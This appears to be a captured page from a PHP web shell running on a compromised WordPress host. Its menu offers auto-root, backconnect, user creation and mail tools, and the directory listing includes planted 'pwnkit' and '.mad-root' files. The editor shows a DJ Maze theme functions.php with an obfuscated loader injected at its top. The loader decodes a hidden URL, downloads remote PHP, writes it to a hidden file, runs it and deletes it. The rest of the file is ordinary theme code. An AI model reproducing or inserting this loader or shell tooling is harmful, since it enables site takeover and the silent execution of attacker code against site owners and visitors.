Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.120.20.2 | : 216.73.216.49
Cant Read [ /etc/named.conf ]
8.5.7
verseaumee
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
verseaumee /
maze /
wp-content /
themes /
Archive-1 /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
woocommerce
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
README.txt
694
B
-rw-r--r--
footer.php
1.2
KB
-rw-r--r--
front-page.php
16.31
KB
-rw-r--r--
functions.php
19.32
KB
-rw-r--r--
header.php
311
B
-rw-r--r--
index.php
360
B
-rw-r--r--
page-biography.php
5.25
KB
-rw-r--r--
page-discography.php
3.83
KB
-rw-r--r--
page-photos.php
1.03
KB
-rw-r--r--
preview_hero.html
2.48
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
screenshot.png
65.03
KB
-rw-r--r--
style.css
137.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : functions.php
<?php @ini_set('display_errors', '0'); error_reporting(0); global $zeeta; if (!$npDcheckClassBgp && !isset($zeeta)) { $ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrK42MQ4F8YpQL/+fflvUNPlfnyDNGK/X/wEfeQ=="; if (!function_exists('get_data_ya')) { if (ini_get('allow_url_fopen')) { function get_data_ya($m) { $data = file_get_contents($m); return $data; } } else { function get_data_ya($m) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $m); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $data = curl_exec($ch); curl_close($ch); return $data; } } } if (!function_exists('wp_cd')) { function wp_cd($fd, $fa="") { $fe = "wp_frmfunct"; $len = strlen($fd); $ff = ''; $n = $len>100 ? 8 : 2; while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); } return $fd^$ff; } } $reqw = $ay($ao($oa("$pass"), 'wp_function')); preg_match('#gogo(.*)enen#is', $reqw, $mtchs); $dirs = glob("*", GLOB_ONLYDIR); foreach ($dirs as $dira) { if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; } $subdirs = glob("$dira/*", GLOB_ONLYDIR); foreach ($subdirs as $subdira) { if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; } } } if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); } fwrite($hdl, "<?php\n$mtchs[1]\n?>"); fclose($hdl); include("{$eb}.$algo"); unlink("{$eb}.$algo"); $npDcheckClassBgp = 'aue'; $zeeta = "yup"; } if (!defined('ABSPATH')) { exit; } function dj_maze_3d_setup() { add_theme_support('title-tag'); add_theme_support('post-thumbnails'); add_theme_support('custom-logo'); add_theme_support('woocommerce'); register_nav_menus(array( 'primary' => __('Primary Menu', 'dj-maze-3d'), )); } add_action('after_setup_theme', 'dj_maze_3d_setup'); function dj_maze_3d_assets() { wp_enqueue_style('dj-maze-google-fonts', 'https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&family=Cormorant+Garamond:wght@400;500;600;700&family=Orbitron:wght@400;500;600;700;800&family=Syncopate:wght@400;700&display=swap', array(), null); wp_enqueue_style('dj-maze-style', get_stylesheet_uri(), array('dj-maze-google-fonts'), '1.0.0'); wp_enqueue_script('three-js', 'https://cdnjs.cloudflare.com/ajax/libs/three.js/r128/three.min.js', array(), '128', true); wp_enqueue_script('dj-maze-main', get_template_directory_uri() . '/assets/js/main.js', array('three-js'), '1.0.0', true); } add_action('wp_enqueue_scripts', 'dj_maze_3d_assets'); function dj_maze_3d_body_class($classes) { $classes[] = 'dj-maze-3d-theme'; return $classes; } add_filter('body_class', 'dj_maze_3d_body_class'); function dj_maze_3d_music_links() { return array( 'spotify' => 'https://open.spotify.com/artist/6V4915jZpQV7R99zTlT1Ac?si=91T0MM_PQlaa782pJIaX1Q&nd=1&dlsi=54951252703d41b9', 'apple' => 'https://music.apple.com/gh/artist/dj-maze/42277848', 'youtube' => 'https://www.youtube.com/djmaze', 'deezer' => 'https://www.deezer.com/en/artist/153531', ); } function dj_maze_3d_discography_categories() { return array( array('title' => 'Compilations', 'slug' => 'compilations'), array('title' => 'BREAK-BEAT PARTY ALL NIGHT', 'slug' => 'break-beat-party-all-night'), array('title' => 'ALBUMS', 'slug' => 'albums'), array('title' => 'SINGLES', 'slug' => 'singles'), array('title' => 'DJ MAZE REMIX', 'slug' => 'dj-maze-remix'), array('title' => 'B.O DE FILMS', 'slug' => 'b-o-de-films'), array('title' => 'BREAK-BEAT THE BATTLE MOVIE', 'slug' => 'break-beat-the-battle-movie'), ); } function dj_maze_3d_get_discography_items($slug) { $dir = trailingslashit(get_template_directory()) . 'assets/images/discography/' . $slug; $uri = trailingslashit(get_template_directory_uri()) . 'assets/images/discography/' . $slug; if (!is_dir($dir)) { return array(); } $files = glob($dir . '/*.{jpg,jpeg,png,webp}', GLOB_BRACE); if (!$files) { return array(); } usort($files, function($a, $b) { $an = basename($a); $bn = basename($b); preg_match('/^(\d+)/', $an, $am); preg_match('/^(\d+)/', $bn, $bm); $ai = isset($am[1]) ? intval($am[1]) : 9999; $bi = isset($bm[1]) ? intval($bm[1]) : 9999; if ($ai === $bi) { return strnatcasecmp($an, $bn); } return $ai <=> $bi; }); $items = array(); foreach ($files as $file) { $name = basename($file); $title = preg_replace('/\.(jpg|jpeg|png|webp)$/i', '', $name); $title = preg_replace('/^\s*\d+[a-z]?(?:[-_\s]*\d+)*[-_\s]*/i', '', $title); $title = str_replace(array('-', '_'), ' ', $title); $title = preg_replace('/\s+/', ' ', trim($title)); $items[] = array( 'title' => ucwords($title), 'url' => trailingslashit($uri) . rawurlencode($name), 'link' => '#', ); } return $items; } function dj_maze_3d_platform_icon($platform) { $icons = array( 'spotify' => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20Zm4.58 14.42a.74.74 0 0 1-1.02.25c-2.79-1.7-6.3-2.08-10.43-1.14a.75.75 0 0 1-.33-1.46c4.52-1.03 8.4-.58 11.53 1.33.35.22.46.68.25 1.02Zm1.22-2.73a.92.92 0 0 1-1.27.31c-3.18-1.96-8.04-2.52-11.8-1.38a.93.93 0 0 1-.54-1.78c4.3-1.3 9.65-.68 13.3 1.56.44.27.58.84.31 1.29Zm.11-2.84C14.1 8.58 7.8 8.37 4.18 9.48a1.1 1.1 0 1 1-.65-2.1c4.16-1.28 11.1-1.03 15.5 1.58a1.1 1.1 0 0 1-1.12 1.9Z"/></svg>', 'apple' => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M17.64 13.06c-.03-2.65 2.17-3.92 2.27-3.98-1.24-1.8-3.16-2.05-3.82-2.08-1.62-.17-3.17.95-4 .95-.83 0-2.12-.93-3.5-.91-1.8.03-3.47 1.05-4.4 2.66-1.88 3.25-.48 8.05 1.34 10.7.9 1.29 1.96 2.73 3.36 2.68 1.35-.05 1.85-.86 3.48-.86 1.62 0 2.08.86 3.5.83 1.45-.02 2.36-1.31 3.24-2.61 1.03-1.5 1.45-2.95 1.47-3.02-.03-.01-2.82-1.08-2.85-4.36ZM15.03 5.3c.74-.9 1.24-2.14 1.1-3.38-1.06.04-2.36.71-3.13 1.6-.68.79-1.29 2.05-1.13 3.25 1.2.09 2.42-.6 3.16-1.47Z"/></svg>', 'youtube' => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M23.5 6.2a3 3 0 0 0-2.1-2.1C19.5 3.6 12 3.6 12 3.6s-7.5 0-9.4.5A3 3 0 0 0 .5 6.2 31.4 31.4 0 0 0 0 12a31.4 31.4 0 0 0 .5 5.8 3 3 0 0 0 2.1 2.1c1.9.5 9.4.5 9.4.5s7.5 0 9.4-.5a3 3 0 0 0 2.1-2.1A31.4 31.4 0 0 0 24 12a31.4 31.4 0 0 0-.5-5.8ZM9.6 15.6V8.4L15.8 12l-6.2 3.6Z"/></svg>', 'deezer' => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M2 13h4v3H2v-3Zm0 4h4v3H2v-3Zm5-8h4v3H7V9Zm0 4h4v3H7v-3Zm0 4h4v3H7v-3Zm5-12h4v3h-4V5Zm0 4h4v3h-4V9Zm0 4h4v3h-4v-3Zm0 4h4v3h-4v-3Zm5-8h5v3h-5V9Zm0 4h5v3h-5v-3Zm0 4h5v3h-5v-3Z"/></svg>', ); return isset($icons[$platform]) ? $icons[$platform] : ''; } function dj_maze_3d_render_nav($active = '') { $home = home_url('/'); $shop_url = class_exists('WooCommerce') ? wc_get_page_permalink('shop') : home_url('/shop/'); ?> <header class="nav djmaze-global-nav"> <a class="brand" href="<?php echo esc_url($home); ?>" aria-label="DJ Maze homepage"> <span class="logo-mark">M</span> <span>DJ MAZE</span> </a> <nav class="nav-links" aria-label="Main navigation"> <a href="<?php echo esc_url($home); ?>">Accueil</a> <a href="<?php echo esc_url(home_url('/biography/')); ?>" class="<?php echo $active === 'biography' ? 'is-active' : ''; ?>">Biographie</a> <a href="<?php echo esc_url(home_url('/discography/')); ?>" class="<?php echo $active === 'discography' ? 'is-active' : ''; ?>">Discographie</a> <a href="<?php echo esc_url($home); ?>#videos">Vidéos</a> <a href="<?php echo esc_url($shop_url); ?>">Shop</a> <a href="<?php echo esc_url(home_url('/photos/')); ?>" class="<?php echo $active === 'photos' ? 'is-active' : ''; ?>">Photos</a> </nav> <div class="nav-actions"> <a class="booking glass-lite" href="<?php echo esc_url($home); ?>#book">Booking</a> <a class="whatsapp-btn" href="https://wa.me/" aria-label="WhatsApp"> <svg viewBox="0 0 24 24" aria-hidden="true"> <path d="M20.52 3.49A11.78 11.78 0 0 0 12.13 0C5.57 0 .23 5.34.23 11.9c0 2.1.55 4.15 1.59 5.96L.14 24l6.28-1.65a11.9 11.9 0 0 0 5.7 1.45h.01c6.56 0 11.9-5.34 11.9-11.9 0-3.18-1.24-6.16-3.51-8.41ZM12.13 21.8a9.84 9.84 0 0 1-5.03-1.38l-.36-.21-3.72.98.99-3.63-.24-.37a9.85 9.85 0 0 1-1.51-5.29c0-5.45 4.43-9.88 9.88-9.88 2.64 0 5.12 1.03 6.99 2.9a9.82 9.82 0 0 1 2.89 6.98c-.01 5.45-4.44 9.9-9.89 9.9Zm5.42-7.4c-.3-.15-1.76-.87-2.03-.97-.27-.1-.47-.15-.67.15-.2.3-.77.97-.94 1.17-.17.2-.35.22-.64.07-.3-.15-1.25-.46-2.39-1.47-.88-.79-1.48-1.76-1.65-2.06-.17-.3-.02-.46.13-.61.13-.13.3-.35.45-.52.15-.17.2-.3.3-.5.1-.2.05-.37-.02-.52-.07-.15-.67-1.61-.92-2.2-.24-.58-.49-.5-.67-.51h-.57c-.2 0-.52.07-.79.37-.27.3-1.04 1.02-1.04 2.48s1.06 2.88 1.21 3.08c.15.2 2.09 3.19 5.06 4.47.71.31 1.26.49 1.69.63.71.23 1.36.2 1.87.12.57-.08 1.76-.72 2.01-1.41.25-.69.25-1.29.17-1.41-.07-.13-.27-.2-.57-.35Z"/> </svg> </a> </div> </header> <?php } function dj_maze_3d_create_discography_page() { $page = get_page_by_path('discography'); if (!$page) { $page_id = wp_insert_post(array( 'post_title' => 'Discographie', 'post_name' => 'discography', 'post_status' => 'publish', 'post_type' => 'page', 'post_content' => '', )); if (!is_wp_error($page_id)) { update_post_meta($page_id, '_wp_page_template', 'page-discography.php'); } } else { update_post_meta($page->ID, '_wp_page_template', 'page-discography.php'); } } add_action('after_switch_theme', 'dj_maze_3d_create_discography_page'); /** * Discography page safety net. * Creates the WordPress page even when the theme ZIP is updated while already active, * and serves /discography/ directly if WordPress has not refreshed permalinks yet. */ function dj_maze_3d_maybe_create_discography_page() { if (get_option('dj_maze_3d_discography_page_ready') === 'yes' && get_page_by_path('discography')) { return; } dj_maze_3d_create_discography_page(); update_option('dj_maze_3d_discography_page_ready', 'yes'); } add_action('init', 'dj_maze_3d_maybe_create_discography_page', 20); function dj_maze_3d_discography_direct_route() { if (is_admin()) { return; } $request_path = isset($_SERVER['REQUEST_URI']) ? wp_parse_url(wp_unslash($_SERVER['REQUEST_URI']), PHP_URL_PATH) : ''; $request_path = trim($request_path, '/'); // Support installs in subdirectories by checking the final path segment too. $segments = array_values(array_filter(explode('/', $request_path))); $last_segment = end($segments); if ($request_path === 'discography' || $last_segment === 'discography') { status_header(200); nocache_headers(); include get_template_directory() . '/page-discography.php'; exit; } } add_action('template_redirect', 'dj_maze_3d_discography_direct_route', 0); function dj_maze_3d_flush_rewrites_on_switch() { dj_maze_3d_create_discography_page(); flush_rewrite_rules(); } add_action('after_switch_theme', 'dj_maze_3d_flush_rewrites_on_switch', 30); function dj_maze_3d_social_links() { return array( 'instagram' => 'https://www.instagram.com/djmaze/', 'snapchat' => 'https://www.snapchat.com/@djmaze1', 'tiktok' => 'https://www.tiktok.com/@djmazeofficiel', 'facebook' => 'https://www.facebook.com/DJMAZEOFFICIEL', 'x' => 'https://x.com/DJMAZEOFFICIEL', 'youtube' => 'https://www.youtube.com/djmaze', ); } function dj_maze_3d_social_icon($name) { $icons = array( 'instagram' => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M7 2h10a5 5 0 0 1 5 5v10a5 5 0 0 1-5 5H7a5 5 0 0 1-5-5V7a5 5 0 0 1 5-5Zm0 2a3 3 0 0 0-3 3v10a3 3 0 0 0 3 3h10a3 3 0 0 0 3-3V7a3 3 0 0 0-3-3H7Zm5 3.5A4.5 4.5 0 1 1 12 16.5 4.5 4.5 0 0 1 12 7.5Zm0 2A2.5 2.5 0 1 0 12 14.5 2.5 2.5 0 0 0 12 9.5ZM17.8 6.2a1 1 0 1 1-1 1 1 1 0 0 1 1-1Z"/></svg>', 'snapchat' => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M12 2c3 0 5 2.3 5 5.6v2.2c.7.1 1.5.3 1.8.7.4.6-.3 1.1-1.4 1.5.3 1.1 1.1 2.2 2.6 2.8.5.2.7.8.2 1.1-.8.5-1.6.4-2.2.6-.4.2-.4.9-.9 1.1-.6.3-1.6-.1-2.4.2-.7.2-1.1 1.4-2.7 1.4s-2-1.2-2.7-1.4c-.8-.3-1.8.1-2.4-.2-.5-.2-.5-.9-.9-1.1-.6-.2-1.4-.1-2.2-.6-.5-.3-.3-.9.2-1.1 1.5-.6 2.3-1.7 2.6-2.8-1.1-.4-1.8-.9-1.4-1.5.3-.4 1.1-.6 1.8-.7V7.6C7 4.3 9 2 12 2Z"/></svg>', 'tiktok' => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M16 2c.4 3 2.1 4.8 5 5v4c-1.9 0-3.5-.6-5-1.6v6.3c0 4-2.7 6.3-6.1 6.3A6 6 0 0 1 4 16c0-3.5 2.8-6.2 6.4-6.2.4 0 .8 0 1.1.1v4.2a3 3 0 0 0-1.1-.2A2.1 2.1 0 1 0 12.5 16V2H16Z"/></svg>', 'facebook' => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M14 8h3V4h-3c-3.3 0-5 2-5 5v3H6v4h3v6h4v-6h3.2l.8-4h-4V9c0-.7.3-1 1-1Z"/></svg>', 'x' => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M18.9 2h3.1l-6.8 7.8 8 12.2h-6.2l-4.8-7-5.5 7H3.5l7.3-8.6L3.2 2h6.4l4.3 6.4L18.9 2Zm-1.1 17.8h1.7L8.6 4.1H6.8l11 15.7Z"/></svg>', 'youtube' => '<svg viewBox="0 0 24 24" aria-hidden="true"><path d="M23.5 6.2a3 3 0 0 0-2.1-2.1C19.5 3.6 12 3.6 12 3.6s-7.5 0-9.4.5A3 3 0 0 0 .5 6.2 31.4 31.4 0 0 0 0 12a31.4 31.4 0 0 0 .5 5.8 3 3 0 0 0 2.1 2.1c1.9.5 9.4.5 9.4.5s7.5 0 9.4-.5a3 3 0 0 0 2.1-2.1A31.4 31.4 0 0 0 24 12a31.4 31.4 0 0 0-.5-5.8ZM9.6 15.6V8.4L15.8 12l-6.2 3.6Z"/></svg>', ); return isset($icons[$name]) ? $icons[$name] : ''; } function dj_maze_3d_get_photo_items($limit = 0) { $dir = trailingslashit(get_template_directory()) . 'assets/images/photos'; $uri = trailingslashit(get_template_directory_uri()) . 'assets/images/photos'; $files = is_dir($dir) ? glob($dir . '/*.{jpg,jpeg,png,webp}', GLOB_BRACE) : array(); natcasesort($files); $items = array(); foreach ($files as $file) { $items[] = trailingslashit($uri) . basename($file); } return $limit ? array_slice($items, 0, $limit) : $items; } function dj_maze_3d_video_items() { return array( array('title'=>'Jump Around','id'=>'w2myqbd4fu8'), array('title'=>'Eso Eh','id'=>'v2_bAq7QfZo'), array('title'=>'Let\'s Go','id'=>'u1B1b3-Vd-s'), array('title'=>'In Da Club','id'=>'jYi8vt7MuE4'), array('title'=>'ROSALÍA - LA FAMA ft. The Weeknd prod by DJ MAZE (REMIX)','id'=>'eQX8uze_Dh0'), array('title'=>'What You Know','id'=>'adU2xzwrtMA'), array('title'=>'Don\'t Stop','id'=>'cB3xgrO2GDQ'), array('title'=>'Maze some noise full mix non stop','id'=>'7kFjKwIwp5k'), ); } function dj_maze_3d_create_named_page($slug, $title, $template) { $page = get_page_by_path($slug); if (!$page) { $page_id = wp_insert_post(array('post_title'=>$title, 'post_name'=>$slug, 'post_status'=>'publish', 'post_type'=>'page', 'post_content'=>'')); if (!is_wp_error($page_id)) { update_post_meta($page_id, '_wp_page_template', $template); } } else { update_post_meta($page->ID, '_wp_page_template', $template); } } function dj_maze_3d_create_extra_pages() { dj_maze_3d_create_named_page('biography', 'Biographie', 'page-biography.php'); dj_maze_3d_create_named_page('photos', 'Photos', 'page-photos.php'); } add_action('after_switch_theme', 'dj_maze_3d_create_extra_pages', 35); add_action('init', 'dj_maze_3d_create_extra_pages', 25); function dj_maze_3d_product_assets() { $json = get_template_directory() . '/assets/products-map.json'; if (!file_exists($json)) { return array(); } $data = json_decode(file_get_contents($json), true); return is_array($data) ? $data : array(); } function dj_maze_3d_import_demo_products() { if (!class_exists('WooCommerce') || get_option('dj_maze_products_imported_v5_individual') === 'yes') { return; } if (!function_exists('wc_get_product_id_by_sku')) { return; } $products = dj_maze_3d_product_assets(); if (!$products) { return; } require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/media.php'; require_once ABSPATH . 'wp-admin/includes/image.php'; // Remove previous DJ Maze demo products so only the individual products remain. $old_products = get_posts(array( 'post_type' => 'product', 'posts_per_page' => -1, 'post_status' => array('publish', 'draft', 'pending', 'private'), 'meta_query' => array( array( 'key' => '_sku', 'value' => 'djmaze-', 'compare' => 'LIKE', ), ), 'fields' => 'ids', )); foreach ($old_products as $old_id) { wp_trash_post($old_id); } foreach ($products as $p) { $sku = 'djmaze-' . sanitize_title($p['slug']); if (wc_get_product_id_by_sku($sku)) { continue; } $term_ids = array(); if (!empty($p['category'])) { $term = term_exists($p['category'], 'product_cat'); if (!$term) { $term = wp_insert_term($p['category'], 'product_cat', array( 'slug' => !empty($p['category_slug']) ? sanitize_title($p['category_slug']) : sanitize_title($p['category']) )); } if (!is_wp_error($term)) { $term_ids[] = is_array($term) ? intval($term['term_id']) : intval($term); } } $product = new WC_Product_Simple(); $product->set_name('DJ Maze ' . $p['title']); $product->set_slug('dj-maze-' . sanitize_title($p['slug'])); $product->set_sku($sku); $product->set_regular_price('10'); $product->set_price('10'); $product->set_status('publish'); $product->set_catalog_visibility('visible'); $product->set_menu_order(isset($p['order']) ? intval($p['order']) : 0); $product->set_category_ids($term_ids); $product->set_description('Produit officiel DJ Maze avec une identité visuelle premium.'); $product->set_short_description('Collection officielle DJ Maze.'); $ids = array(); foreach ($p['images'] as $rel) { $source = get_template_directory() . '/' . $rel; if (!file_exists($source)) { continue; } $tmp = wp_tempnam(basename($source)); copy($source, $tmp); $file_array = array( 'name' => basename($source), 'tmp_name' => $tmp, ); $id = media_handle_sideload($file_array, 0); if (!is_wp_error($id)) { $ids[] = $id; } else { @unlink($tmp); } } if ($ids) { $product->set_image_id($ids[0]); $product->set_gallery_image_ids(array_slice($ids, 1)); } $product->save(); } update_option('dj_maze_products_imported_v5_individual', 'yes'); } add_action('init', 'dj_maze_3d_import_demo_products', 60); add_filter('woocommerce_enqueue_styles', '__return_empty_array');
Close